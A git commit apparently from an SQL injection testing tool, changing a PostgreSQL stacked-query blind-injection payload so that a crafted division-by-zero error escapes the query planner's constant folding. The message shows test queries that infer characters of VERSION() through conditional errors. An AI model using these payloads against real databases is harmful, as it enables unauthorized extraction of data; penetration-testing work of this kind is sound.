Work around PostgreSQL query optimizer for error

Sadly, the mechanism triggering the error using CAST to integer on a
string did not work for me. This is probably caused by PostgreSQL
optimizing the query as described in
https://www.postgresql.org/docs/9.6/static/functions-conditional.html :

    "Note: As described in Section 4.2.14, there are various situations
    in which subexpressions of an expression are evaluated at different
    times, so that the principle that "CASE evaluates only necessary
    subexpressions" is not ironclad. For example a constant 1/0
    subexpression will usually result in a division-by-zero failure at
    planning time, even if it's within a CASE arm that would never be
    entered at run time."

My trivial test case for causing/not causing an error based on a
condition was:
------------------------------------------------------------------------
mytestdb=> SELECT CASE WHEN (1=1) THEN 1/1 ELSE 1/0 END;
    1

mytestdb=> SELECT CASE WHEN (1=2) THEN 1/1 ELSE 1/0 END;
ERROR:  division by zero
------------------------------------------------------------------------
As expected, the division by zero error is only triggered when the
condition is not met.

Second, dynamic, testcase (the first character of VERSION() has ASCII
code 80, so last condition is expected to return true):
------------------------------------------------------------------------
mytestdb=> SELECT ASCII(SUBSTRING((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32))))::text FROM 1 FOR 1));
    80
(1 row)
mytestdb=>  SELECT (CASE WHEN (ASCII(SUBSTRING((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32))))::text FROM 1 FOR 1))>126) THEN 1 ELSE 2/0 END) IS NULL;
ERROR:  division by zero
mytestdb=>  SELECT (CASE WHEN (ASCII(SUBSTRING((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32))))::text FROM 1 FOR 1))>26) THEN 1 ELSE 2/0 END) IS NULL;
ERROR:  division by zero
------------------------------------------------------------------------
However, the ELSE part is evaluated both when the condition is true and
when it is not true, as described in the documentation cited above.

This can be worked around by using an error that can not be detected by
static analysis (length of version() is about 100, so last condition is
expected to return true):
------------------------------------------------------------------------
mytestdb=> SELECT (CASE WHEN (char_length(version())<80) THEN (1/(char_length(substring(version(),1,1))-1)) ELSE 2 END);
    2

mytestdb=> SELECT (CASE WHEN (char_length(version())>80) THEN (1/(char_length(substring(version(),1,1))-1)) ELSE 2 END);
ERROR:  division by zero
------------------------------------------------------------------------
While we know that substring(X, 1, 1) will return 1 for any non-empty
string, the database engine is probably not able to optimize that away
based on the slight chance that VERSION() may return an empty string.

This has been used successfully on PostgreSQL 9.6.
This commit is contained in:
Timo Boettcher 2017-10-06 00:03:22 +02:00
parent 423a34c9f3
commit 4f84215eda

View File

@ -532,13 +532,13 @@ Tag: <test>
<risk>1</risk> <risk>1</risk>
<clause>0</clause> <clause>0</clause>
<where>1</where> <where>1</where>
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END) IS NULL</vector> <vector>;SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE (1/(char_length(substring(version(),1,1))-1)) END) IS NULL</vector>
<request> <request>
<payload>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END) IS NULL</payload> <payload>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE (1/(char_length(substring(version(),1,1))-1)) END) IS NULL</payload>
<comment>--</comment> <comment>--</comment>
</request> </request>
<response> <response>
<comparison>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END) IS NULL</comparison> <comparison>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE (1/(char_length(substring(version(),1,1))-1)) END) IS NULL</comparison>
</response> </response>
<details> <details>
<dbms>PostgreSQL</dbms> <dbms>PostgreSQL</dbms>